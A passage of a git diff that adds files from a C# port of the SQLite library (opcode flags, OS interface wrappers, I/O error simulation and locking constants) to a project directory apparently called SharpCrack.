OP_Explain = 138; + + /* The following opcode values are never used */ + //#define OP_NotUsed_139 139 + //#define OP_NotUsed_140 140 + + /* The following opcode values are never used */ + public const int OP_NotUsed_138 = 138; + public const int OP_NotUsed_139 = 139; + public const int OP_NotUsed_140 = 140; + + + /* Properties such as "out2" or "jump" that are specified in + ** comments following the "case" for each opcode in the vdbe.c + ** are encoded into bitvectors as follows: + */ + //#define OPFLG_JUMP 0x0001 /* jump: P2 holds jmp target */ + //#define OPFLG_OUT2_PRERELEASE 0x0002 /* out2-prerelease: */ + //#define OPFLG_IN1 0x0004 /* in1: P1 is an input */ + //#define OPFLG_IN2 0x0008 /* in2: P2 is an input */ + //#define OPFLG_IN3 0x0010 /* in3: P3 is an input */ + //#define OPFLG_OUT2 0x0020 /* out2: P2 is an output */ + //#define OPFLG_OUT3 0x0040 /* out3: P3 is an output */ + + public const int OPFLG_JUMP = 0x0001; /* jump: P2 holds jmp target */ + public const int OPFLG_OUT2_PRERELEASE = 0x0002; /* out2-prerelease: */ + public const int OPFLG_IN1 = 0x0004; /* in1: P1 is an input */ + public const int OPFLG_IN2 = 0x0008; /* in2: P2 is an input */ + public const int OPFLG_IN3 = 0x0010; /* in3: P3 is an input */ + public const int OPFLG_OUT2 = 0x0020; /* out2: P2 is an output */ + public const int OPFLG_OUT3 = 0x0040; /* out3: P3 is an output */ + public static int[] OPFLG_INITIALIZER = new int[]{ +/* 0 */ 0x00, 0x01, 0x05, 0x04, 0x04, 0x10, 0x00, 0x02, +/* 8 */ 0x02, 0x02, 0x02, 0x02, 0x02, 0x00, 0x24, 0x24, +/* 16 */ 0x00, 0x00, 0x00, 0x24, 0x04, 0x05, 0x04, 0x00, +/* 24 */ 0x00, 0x01, 0x05, 0x05, 0x00, 0x00, 0x00, 0x02, +/* 32 */ 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, +/* 40 */ 0x00, 0x00, 0x00, 0x00, 0x11, 0x11, 0x11, 0x11, +/* 48 */ 0x08, 0x11, 0x11, 0x11, 0x11, 0x02, 0x02, 0x00, +/* 56 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, +/* 64 */ 0x01, 0x01, 0x01, 0x01, 0x4c, 0x4c, 0x08, 0x00, +/* 72 */ 0x02, 0x05, 0x05, 0x15, 0x15, 0x15, 0x15, 0x15, +/* 80 */ 0x15, 0x01, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, +/* 88 */ 0x4c, 0x4c, 0x4c, 0x4c, 0x01, 0x24, 0x02, 0x02, +/* 96 */ 0x00, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, +/* 104 */ 0x00, 0x0c, 0x45, 0x15, 0x01, 0x02, 0x00, 0x01, +/* 112 */ 0x08, 0x05, 0x05, 0x05, 0x00, 0x00, 0x00, 0x02, +/* 120 */ 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +/* 128 */ 0x01, 0x00, 0x02, 0x01, 0x00, 0x00, 0x02, 0x02, +/* 136 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, +/* 144 */ 0x04, 0x04 +}; + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_c.cs new file mode 100644 index 0000000..8368a24 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_c.cs @@ -0,0 +1,419 @@ +using System.Diagnostics; +using System.Text; + +using HANDLE = System.IntPtr; +using i64 = System.Int64; +using u32 = System.UInt32; +using sqlite3_int64 = System.Int64; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + + /* + ** 2005 November 29 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains OS interface code that is common to all + ** architectures. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-12-07 20:14:09 a586a4deeb25330037a49df295b36aaf624d0f45 + ** + ************************************************************************* + */ + //#define _SQLITE_OS_C_ 1 + //#include "sqliteInt.h" + //#undef _SQLITE_OS_C_ + + /* + ** The default SQLite sqlite3_vfs implementations do not allocate + ** memory (actually, os_unix.c allocates a small amount of memory + ** from within OsOpen()), but some third-party implementations may. + ** So we test the effects of a malloc() failing and the sqlite3OsXXX() + ** function returning SQLITE_IOERR_NOMEM using the DO_OS_MALLOC_TEST macro. + ** + ** The following functions are instrumented for malloc() failure + ** testing: + ** + ** sqlite3OsOpen() + ** sqlite3OsRead() + ** sqlite3OsWrite() + ** sqlite3OsSync() + ** sqlite3OsLock() + ** + */ +#if (SQLITE_TEST) + static int sqlite3_memdebug_vfs_oom_test = 1; + + //#define DO_OS_MALLOC_TEST(x) \ + //if (sqlite3_memdebug_vfs_oom_test && (!x || !sqlite3IsMemJournal(x))) { \ + // void *pTstAlloc = sqlite3Malloc(10); \ + // if (!pTstAlloc) return SQLITE_IOERR_NOMEM; \ + // sqlite3_free(pTstAlloc); \ + //} + static void DO_OS_MALLOC_TEST( sqlite3_file x ) + { + } +#else + //#define DO_OS_MALLOC_TEST(x) + static void DO_OS_MALLOC_TEST( sqlite3_file x ) { } +#endif + + + /* +** The following routines are convenience wrappers around methods +** of the sqlite3_file object. This is mostly just syntactic sugar. All +** of this would be completely automatic if SQLite were coded using +** C++ instead of plain old C. +*/ + static int sqlite3OsClose( sqlite3_file pId ) + { + int rc = SQLITE_OK; + if ( pId.pMethods != null ) + { + rc = pId.pMethods.xClose( pId ); + pId.pMethods = null; + } + return rc; + } + static int sqlite3OsRead( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) + { + DO_OS_MALLOC_TEST( id ); + if ( pBuf == null ) + pBuf = sqlite3Malloc( amt ); + return id.pMethods.xRead( id, pBuf, amt, offset ); + } + static int sqlite3OsWrite( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xWrite( id, pBuf, amt, offset ); + } + static int sqlite3OsTruncate( sqlite3_file id, i64 size ) + { + return id.pMethods.xTruncate( id, size ); + } + static int sqlite3OsSync( sqlite3_file id, int flags ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xSync( id, flags ); + } + static int sqlite3OsFileSize( sqlite3_file id, ref long pSize ) + { + return id.pMethods.xFileSize( id, ref pSize ); + } + static int sqlite3OsLock( sqlite3_file id, int lockType ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xLock( id, lockType ); + } + static int sqlite3OsUnlock( sqlite3_file id, int lockType ) + { + return id.pMethods.xUnlock( id, lockType ); + } + static int sqlite3OsCheckReservedLock( sqlite3_file id, ref int pResOut ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xCheckReservedLock( id, ref pResOut ); + } + static int sqlite3OsFileControl( sqlite3_file id, u32 op, ref sqlite3_int64 pArg ) + { + return id.pMethods.xFileControl( id, (int)op, ref pArg ); + } + + static int sqlite3OsSectorSize( sqlite3_file id ) + { + dxSectorSize xSectorSize = id.pMethods.xSectorSize; + return ( xSectorSize != null ? xSectorSize( id ) : SQLITE_DEFAULT_SECTOR_SIZE ); + } + static int sqlite3OsDeviceCharacteristics( sqlite3_file id ) + { + return id.pMethods.xDeviceCharacteristics( id ); + } + + static int sqlite3OsShmLock( sqlite3_file id, int offset, int n, int flags ) + { + return id.pMethods.xShmLock( id, offset, n, flags ); + } + static void sqlite3OsShmBarrier( sqlite3_file id ) + { + id.pMethods.xShmBarrier( id ); + } + + static int sqlite3OsShmUnmap( sqlite3_file id, int deleteFlag ) + { + return id.pMethods.xShmUnmap( id, deleteFlag ); + } + static int sqlite3OsShmMap( +sqlite3_file id, /* Database file handle */ +int iPage, +int pgsz, +int bExtend, /* True to extend file if necessary */ +out object pp /* OUT: Pointer to mapping */ +) + { + return id.pMethods.xShmMap( id, iPage, pgsz, bExtend, out pp ); + } + + /* + ** The next group of routines are convenience wrappers around the + ** VFS methods. + */ + static int sqlite3OsOpen( + sqlite3_vfs pVfs, + string zPath, + sqlite3_file pFile, + int flags, + ref int pFlagsOut + ) + { + int rc; + DO_OS_MALLOC_TEST( null ); + /* 0x87f3f is a mask of SQLITE_OPEN_ flags that are valid to be passed + ** down into the VFS layer. Some SQLITE_OPEN_ flags (for example, + ** SQLITE_OPEN_FULLMUTEX or SQLITE_OPEN_SHAREDCACHE) are blocked before + ** reaching the VFS. */ + rc = pVfs.xOpen( pVfs, zPath, pFile, flags & 0x87f3f, out pFlagsOut ); + Debug.Assert( rc == SQLITE_OK || pFile.pMethods == null ); + return rc; + } + static int sqlite3OsDelete( sqlite3_vfs pVfs, string zPath, int dirSync ) + { + return pVfs.xDelete( pVfs, zPath, dirSync ); + } + static int sqlite3OsAccess( sqlite3_vfs pVfs, string zPath, int flags, ref int pResOut ) + { + DO_OS_MALLOC_TEST( null ); + return pVfs.xAccess( pVfs, zPath, flags, out pResOut ); + } + static int sqlite3OsFullPathname( + sqlite3_vfs pVfs, + string zPath, + int nPathOut, + StringBuilder zPathOut + ) + { + zPathOut.Length = 0;//zPathOut[0] = 0; + return pVfs.xFullPathname( pVfs, zPath, nPathOut, zPathOut ); + } +#if !SQLITE_OMIT_LOAD_EXTENSION + static HANDLE sqlite3OsDlOpen( sqlite3_vfs pVfs, string zPath ) + { + return pVfs.xDlOpen( pVfs, zPath ); + } + + static void sqlite3OsDlError( sqlite3_vfs pVfs, int nByte, string zBufOut ) + { + pVfs.xDlError( pVfs, nByte, zBufOut ); + } + static object sqlite3OsDlSym( sqlite3_vfs pVfs, HANDLE pHdle, ref string zSym ) + { + return pVfs.xDlSym( pVfs, pHdle, zSym ); + } + static void sqlite3OsDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) + { + pVfs.xDlClose( pVfs, pHandle ); + } +#endif + static int sqlite3OsRandomness( sqlite3_vfs pVfs, int nByte, byte[] zBufOut ) + { + return pVfs.xRandomness( pVfs, nByte, zBufOut ); + } + static int sqlite3OsSleep( sqlite3_vfs pVfs, int nMicro ) + { + return pVfs.xSleep( pVfs, nMicro ); + } + + static int sqlite3OsCurrentTimeInt64( sqlite3_vfs pVfs, ref sqlite3_int64 pTimeOut ) + { + int rc; + /* IMPLEMENTATION-OF: R-49045-42493 SQLite will use the xCurrentTimeInt64() + ** method to get the current date and time if that method is available + ** (if iVersion is 2 or greater and the function pointer is not NULL) and + ** will fall back to xCurrentTime() if xCurrentTimeInt64() is + ** unavailable. + */ + if ( pVfs.iVersion >= 2 && pVfs.xCurrentTimeInt64 != null ) + { + rc = pVfs.xCurrentTimeInt64( pVfs, ref pTimeOut ); + } + else + { + double r = 0; + rc = pVfs.xCurrentTime( pVfs, ref r ); + pTimeOut = (sqlite3_int64)( r * 86400000.0 ); + } + return rc; + } + + static int sqlite3OsOpenMalloc( + ref sqlite3_vfs pVfs, + string zFile, + ref sqlite3_file ppFile, + int flags, + ref int pOutFlags + ) + { + int rc = SQLITE_NOMEM; + sqlite3_file pFile; + pFile = new sqlite3_file(); //sqlite3Malloc(ref pVfs.szOsFile); + if ( pFile != null ) + { + rc = sqlite3OsOpen( pVfs, zFile, pFile, flags, ref pOutFlags ); + if ( rc != SQLITE_OK ) + { + pFile = null; // was sqlite3DbFree(db,ref pFile); + } + else + { + ppFile = pFile; + } + } + return rc; + } + static int sqlite3OsCloseFree( sqlite3_file pFile ) + { + int rc = SQLITE_OK; + Debug.Assert( pFile != null ); + rc = sqlite3OsClose( pFile ); + //sqlite3_free( ref pFile ); + return rc; + } + + /* + ** This function is a wrapper around the OS specific implementation of + ** sqlite3_os_init(). The purpose of the wrapper is to provide the + ** ability to simulate a malloc failure, so that the handling of an + ** error in sqlite3_os_init() by the upper layers can be tested. + */ + static int sqlite3OsInit() + { + //void *p = sqlite3_malloc(10); + //if( p==null ) return SQLITE_NOMEM; + //sqlite3_free(ref p); + return sqlite3_os_init(); + } + /* + ** The list of all registered VFS implementations. + */ + static sqlite3_vfs vfsList; + //#define vfsList GLOBAL(sqlite3_vfs *, vfsList) + + /* + ** Locate a VFS by name. If no name is given, simply return the + ** first VFS on the list. + */ + static bool isInit = false; + + static sqlite3_vfs sqlite3_vfs_find( string zVfs ) + { + sqlite3_vfs pVfs = null; +#if SQLITE_THREADSAFE + sqlite3_mutex mutex; +#endif +#if !SQLITE_OMIT_AUTOINIT + int rc = sqlite3_initialize(); + if ( rc != 0 ) + return null; +#endif +#if SQLITE_THREADSAFE + mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#endif + sqlite3_mutex_enter( mutex ); + for ( pVfs = vfsList; pVfs != null; pVfs = pVfs.pNext ) + { + if ( zVfs == null || zVfs == "" ) + break; + if ( zVfs == pVfs.zName ) + break; //strcmp(zVfs, pVfs.zName) == null) break; + } + sqlite3_mutex_leave( mutex ); + return pVfs; + } + + /* + ** Unlink a VFS from the linked list + */ + static void vfsUnlink( sqlite3_vfs pVfs ) + { + Debug.Assert( sqlite3_mutex_held( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ) ); + if ( pVfs == null ) + { + /* No-op */ + } + else if ( vfsList == pVfs ) + { + vfsList = pVfs.pNext; + } + else if ( vfsList != null ) + { + sqlite3_vfs p = vfsList; + while ( p.pNext != null && p.pNext != pVfs ) + { + p = p.pNext; + } + if ( p.pNext == pVfs ) + { + p.pNext = pVfs.pNext; + } + } + } + + /* + ** Register a VFS with the system. It is harmless to register the same + ** VFS multiple times. The new VFS becomes the default if makeDflt is + ** true. + */ + static int sqlite3_vfs_register( sqlite3_vfs pVfs, int makeDflt ) + { + sqlite3_mutex mutex; +#if !SQLITE_OMIT_AUTOINIT + int rc = sqlite3_initialize(); + if ( rc != 0 ) + return rc; +#endif + mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); + sqlite3_mutex_enter( mutex ); + vfsUnlink( pVfs ); + if ( makeDflt != 0 || vfsList == null ) + { + pVfs.pNext = vfsList; + vfsList = pVfs; + } + else + { + pVfs.pNext = vfsList.pNext; + vfsList.pNext = pVfs; + } + Debug.Assert( vfsList != null ); + sqlite3_mutex_leave( mutex ); + return SQLITE_OK; + } + + /* + ** Unregister a VFS so that it is no longer accessible. + */ + static int sqlite3_vfs_unregister( sqlite3_vfs pVfs ) + { +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#endif + sqlite3_mutex_enter( mutex ); + vfsUnlink( pVfs ); + sqlite3_mutex_leave( mutex ); + return SQLITE_OK; + } + } +} + diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_common_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_common_h.cs new file mode 100644 index 0000000..2f7567d --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_common_h.cs @@ -0,0 +1,225 @@ +using System.Diagnostics; +using va_list = System.Object; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2004 May 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains macros and a little bit of code that is common to + ** all of the platform-specific files (os_*.c) and is #included into those + ** files. + ** + ** This file should be #included by the os_*.c files only. It is not a + ** general purpose header file. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#if !_OS_COMMON_H_ + //#define _OS_COMMON_H_ + /* + ** At least two bugs have slipped in because we changed the MEMORY_DEBUG + ** macro to SQLITE_DEBUG and some older makefiles have not yet made the + ** switch. The following code should catch this problem at compile-time. + */ +#if MEMORY_DEBUG +//# error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead." +#endif + +#if SQLITE_DEBUG || TRACE + static bool sqlite3OsTrace = false; + //#define OSTRACE(X) if( sqlite3OSTrace ) sqlite3DebugPrintf X + static void OSTRACE( string X, params va_list[] ap ) + { + if ( sqlite3OsTrace ) + sqlite3DebugPrintf( X, ap ); + } +#else + //#define OSTRACE(X) + static void OSTRACE( string X, params object[] ap) { } +#endif + + /* +** Macros for performance tracing. Normally turned off. Only works +** on i486 hardware. +*/ +#if SQLITE_PERFORMANCE_TRACE + +/* +** hwtime.h contains inline assembler code for implementing +** high-performance timing routines. +*/ +//#include "hwtime.h" + +static sqlite_u3264 g_start; +static sqlite_u3264 g_elapsed; +//#define TIMER_START g_start=sqlite3Hwtime() +//#define TIMER_END g_elapsed=sqlite3Hwtime()-g_start +//#define TIMER_ELAPSED g_elapsed +#else + const int TIMER_START = 0; //#define TIMER_START + const int TIMER_END = 0; //#define TIMER_END + const int TIMER_ELAPSED = 0; //#define TIMER_ELAPSED ((sqlite_u3264)0) +#endif + + /* +** If we compile with the SQLITE_TEST macro set, then the following block +** of code will give us the ability to simulate a disk I/O error. This +** is used for testing the I/O recovery logic. +*/ +#if SQLITE_TEST + +#if !TCLSH + static int sqlite3_io_error_hit = 0; /* Total number of I/O Errors */ + static int sqlite3_io_error_hardhit = 0; /* Number of non-benign errors */ + static int sqlite3_io_error_pending = 0; /* Count down to first I/O error */ + static int sqlite3_io_error_persist = 0; /* True if I/O errors persist */ + static int sqlite3_io_error_benign = 0; /* True if errors are benign */ + static int sqlite3_diskfull_pending = 0; + static int sqlite3_diskfull = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_io_error_hit = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_io_error_hit" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_io_error_hardhit = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_io_error_hardhit" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_io_error_pending = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_io_error_pending" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_io_error_persist = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_io_error_persist" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_io_error_benign = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_io_error_benign" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_diskfull_pending = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_diskfull_pending" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_diskfull = new tcl.lang.Var.SQLITE3_GETSET( "sqlite_diskfull" ); +#endif + static void SimulateIOErrorBenign( int X ) + { +#if !TCLSH + sqlite3_io_error_benign = ( X ); +#else + sqlite3_io_error_benign.iValue = ( X ); +#endif + } + //#define SimulateIOError(CODE) \ + // if( (sqlite3_io_error_persist && sqlite3_io_error_hit) \ + // || sqlite3_io_error_pending-- == 1 ) \ + // { local_ioerr(); CODE; } + static bool SimulateIOError() + { +#if !TCLSH + if ( ( sqlite3_io_error_persist != 0 && sqlite3_io_error_hit != 0 ) + || sqlite3_io_error_pending-- == 1 ) +#else + if ( ( sqlite3_io_error_persist.iValue != 0 && sqlite3_io_error_hit.iValue != 0 ) + || sqlite3_io_error_pending.iValue-- == 1 ) +#endif + { + local_ioerr(); + return true; + } + return false; + } + + static void local_ioerr() + { +#if TRACE + IOTRACE( "IOERR\n" ); +#endif +#if !TCLSH + sqlite3_io_error_hit++; + if ( sqlite3_io_error_benign == 0 ) + sqlite3_io_error_hardhit++; +#else + sqlite3_io_error_hit.iValue++; + if ( sqlite3_io_error_benign.iValue == 0 ) + sqlite3_io_error_hardhit.iValue++; +#endif + } + //#define SimulateDiskfullError(CODE) \ + // if( sqlite3_diskfull_pending ){ \ + // if( sqlite3_diskfull_pending == 1 ){ \ + // local_ioerr(); \ + // sqlite3_diskfull = 1; \ + // sqlite3_io_error_hit = 1; \ + // CODE; \ + // }else{ \ + // sqlite3_diskfull_pending--; \ + // } \ + // } + static bool SimulateDiskfullError() + { +#if !TCLSH + if ( sqlite3_diskfull_pending != 0 ) + { + if ( sqlite3_diskfull_pending == 1 ) + { +#else + if ( sqlite3_diskfull_pending.iValue != 0 ) + { + if ( sqlite3_diskfull_pending.iValue == 1 ) + { +#endif + local_ioerr(); +#if !TCLSH + sqlite3_diskfull = 1; + sqlite3_io_error_hit = 1; +#else + sqlite3_diskfull.iValue = 1; + sqlite3_io_error_hit.iValue = 1; +#endif + return true; + } + else + { +#if !TCLSH + sqlite3_diskfull_pending--; +#else + sqlite3_diskfull_pending.iValue--; +#endif + } + } + return false; + } +#else + static bool SimulateIOError() { return false; } +//#define SimulateIOErrorBenign(X) + static void SimulateIOErrorBenign( int x ) { } + +//#define SimulateIOError(A) +//#define SimulateDiskfullError(A) +#endif + + /* +** When testing, keep a count of the number of open files. +*/ +#if SQLITE_TEST +#if !TCLSH + static int sqlite3_open_file_count = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_open_file_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_open_file_count" ); +#endif + + static void OpenCounter( int X ) + { +#if !TCLSH + sqlite3_open_file_count += ( X ); +#else + sqlite3_open_file_count.iValue += ( X ); +#endif + } +#else +//#define OpenCounter(X) +#endif + //#endif //* !_OS_COMMON_H_) */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_h.cs new file mode 100644 index 0000000..2c54c9d --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_h.cs @@ -0,0 +1,304 @@ +#define SQLITE_OS_WIN +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 16 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This header file (together with is companion C source-code file + ** "os.c") attempt to abstract the underlying operating system so that + ** the SQLite library will work on both POSIX and windows systems. + ** + ** This header file is #include-ed by sqliteInt.h and thus ends up + ** being included by every source file. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ +#if !_SQLITE_OS_H_ + //#define _SQLITE_OS_H_ + + /* + ** Figure out if we are dealing with Unix, Windows, or some other + ** operating system. After the following block of preprocess macros, + ** all of SQLITE_OS_UNIX, SQLITE_OS_WIN, SQLITE_OS_OS2, and SQLITE_OS_OTHER + ** will defined to either 1 or 0. One of the four will be 1. The other + ** three will be 0. + */ + //#if (SQLITE_OS_OTHER) + //# if SQLITE_OS_OTHER==1 + //# undef SQLITE_OS_UNIX + //# define SQLITE_OS_UNIX 0 + //# undef SQLITE_OS_WIN + //# define SQLITE_OS_WIN 0 + //# undef SQLITE_OS_OS2 + //# define SQLITE_OS_OS2 0 + //# else + //# undef SQLITE_OS_OTHER + //# endif + //#endif + //#if !(SQLITE_OS_UNIX) && !SQLITE_OS_OTHER) + //# define SQLITE_OS_OTHER 0 + //# ifndef SQLITE_OS_WIN + //# if defined(_WIN32) || defined(WIN32) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__BORLANDC__) + //# define SQLITE_OS_WIN 1 + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 0 + //# elif defined(__EMX__) || defined(_OS2) || defined(OS2) || defined(_OS2_) || defined(__OS2__) + //# define SQLITE_OS_WIN 0 + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 1 + //# else + //# define SQLITE_OS_WIN 0 + //# define SQLITE_OS_UNIX 1 + //# define SQLITE_OS_OS2 0 + //# endif + //# else + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 0 + //# endif + //#else + //# ifndef SQLITE_OS_WIN + //# define SQLITE_OS_WIN 0 + //# endif + //#endif + + const bool SQLITE_OS_WIN = true; + const bool SQLITE_OS_UNIX = false; + const bool SQLITE_OS_OS2 = false; + + /* + ** Determine if we are dealing with WindowsCE - which has a much + ** reduced API. + */ + //#if (_WIN32_WCE) + //# define SQLITE_OS_WINCE 1 + //#else + //# define SQLITE_OS_WINCE 0 + //#endif + + /* + ** Define the maximum size of a temporary filename + */ +#if SQLITE_OS_WIN + //# include + const int MAX_PATH = 260; + const int SQLITE_TEMPNAME_SIZE = ( MAX_PATH + 50 ); //# define SQLITE_TEMPNAME_SIZE (MAX_PATH+50) +#elif SQLITE_OS_OS2 +# if FALSE //(__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ >= 3) && OS2_HIGH_MEMORY) +//# include /* has to be included before os2.h for linking to work */ +# endif +//# define INCL_DOSDATETIME +//# define INCL_DOSFILEMGR +//# define INCL_DOSERRORS +//# define INCL_DOSMISC +//# define INCL_DOSPROCESS +//# define INCL_DOSMODULEMGR +//# define INCL_DOSSEMAPHORES +//# include +//# include +//# define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP) +//#else +//# define SQLITE_TEMPNAME_SIZE 200 +#endif + + /* If the SET_FULLSYNC macro is not defined above, then make it +** a no-op +*/ + //#if !SET_FULLSYNC + //# define SET_FULLSYNC(x,y) + //#endif + + /* + ** The default size of a disk sector + */ +#if !SQLITE_DEFAULT_SECTOR_SIZE + const int SQLITE_DEFAULT_SECTOR_SIZE = 512;//# define SQLITE_DEFAULT_SECTOR_SIZE 512 +#endif + + /* +** Temporary files are named starting with this prefix followed by 16 random +** alphanumeric characters, and no file extension. They are stored in the +** OS's standard temporary file directory, and are deleted prior to exit. +** If sqlite is being embedded in another program, you may wish to change the +** prefix to reflect your program's name, so that if your program exits +** prematurely, old temporary files can be easily identified. This can be done +** using -DSQLITE_TEMP_FILE_PREFIX=myprefix_ on the compiler command line. +** +** 2006-10-31: The default prefix used to be "sqlite_". But then +** Mcafee started using SQLite in their anti-virus product and it +** started putting files with the "sqlite" name in the c:/temp folder. +** This annoyed many windows users. Those users would then do a +** Google search for "sqlite", find the telephone numbers of the +** developers and call to wake them up at night and complain. +** For this reason, the default name prefix is changed to be "sqlite" +** spelled backwards. So the temp files are still identified, but +** anybody smart enough to figure out the code is also likely smart +** enough to know that calling the developer will not help get rid +** of the file. +*/ +#if !SQLITE_TEMP_FILE_PREFIX + const string SQLITE_TEMP_FILE_PREFIX = "etilqs_"; //# define SQLITE_TEMP_FILE_PREFIX "etilqs_" +#endif + + /* +** The following values may be passed as the second argument to +** sqlite3OsLock(). The various locks exhibit the following semantics: +** +** SHARED: Any number of processes may hold a SHARED lock simultaneously. +** RESERVED: A single process may hold a RESERVED lock on a file at +** any time. Other processes may hold and obtain new SHARED locks. +** PENDING: A single process may hold a PENDING lock on a file at +** any one time. Existing SHARED locks may persist, but no new +** SHARED locks may be obtained by other processes. +** EXCLUSIVE: An EXCLUSIVE lock precludes all other locks. +** +** PENDING_LOCK may not be passed directly to sqlite3OsLock(). Instead, a +** process that requests an EXCLUSIVE lock may actually obtain a PENDING +** lock. This can be upgraded to an EXCLUSIVE lock by a subsequent call to +** sqlite3OsLock(). +*/ + const int NO_LOCK = 0; + const int SHARED_LOCK = 1; + const int RESERVED_LOCK = 2; + const int PENDING_LOCK = 3; + const int EXCLUSIVE_LOCK = 4; + + /* + ** File Locking Notes: (Mostly about windows but also some info for Unix) + ** + ** We cannot use LockFileEx() or UnlockFileEx() on Win95/98/ME because + ** those functions are not available. So we use only LockFile() and + ** UnlockFile(). + ** + ** LockFile() prevents not just writing but also reading by other processes. + ** A SHARED_LOCK is obtained by locking a single randomly-chosen + ** byte out of a specific range of bytes. The lock byte is obtained at + ** random so two separate readers can probably access the file at the + ** same time, unless they are unlucky and choose the same lock byte. + ** An EXCLUSIVE_LOCK is obtained by locking all bytes in the range. + ** There can only be one writer. A RESERVED_LOCK is obtained by locking + ** a single byte of the file that is designated as the reserved lock byte. + ** A PENDING_LOCK is obtained by locking a designated byte different from + ** the RESERVED_LOCK byte. + ** + ** On WinNT/2K/XP systems, LockFileEx() and UnlockFileEx() are available, + ** which means we can use reader/writer locks. When reader/writer locks + ** are used, the lock is placed on the same range of bytes that is used + ** for probabilistic locking in Win95/98/ME. Hence, the locking scheme + ** will support two or more Win95 readers or two or more WinNT readers. + ** But a single Win95 reader will lock out all WinNT readers and a single + ** WinNT reader will lock out all other Win95 readers. + ** + ** The following #defines specify the range of bytes used for locking. + ** SHARED_SIZE is the number of bytes available in the pool from which + ** a random byte is selected for a shared lock. The pool of bytes for + ** shared locks begins at SHARED_FIRST. + ** + ** The same locking strategy and + ** byte ranges are used for Unix. This leaves open the possiblity of having + ** clients on win95, winNT, and unix all talking to the same shared file + ** and all locking correctly. To do so would require that samba (or whatever + ** tool is being used for file sharing) implements locks correctly between + ** windows and unix. I'm guessing that isn't likely to happen, but by + ** using the same locking range we are at least open to the possibility. + ** + ** Locking in windows is manditory. For this reason, we cannot store + ** actual data in the bytes used for locking. The pager never allocates + ** the pages involved in locking therefore. SHARED_SIZE is selected so + ** that all locks will fit on a single page even at the minimum page size. + ** PENDING_BYTE 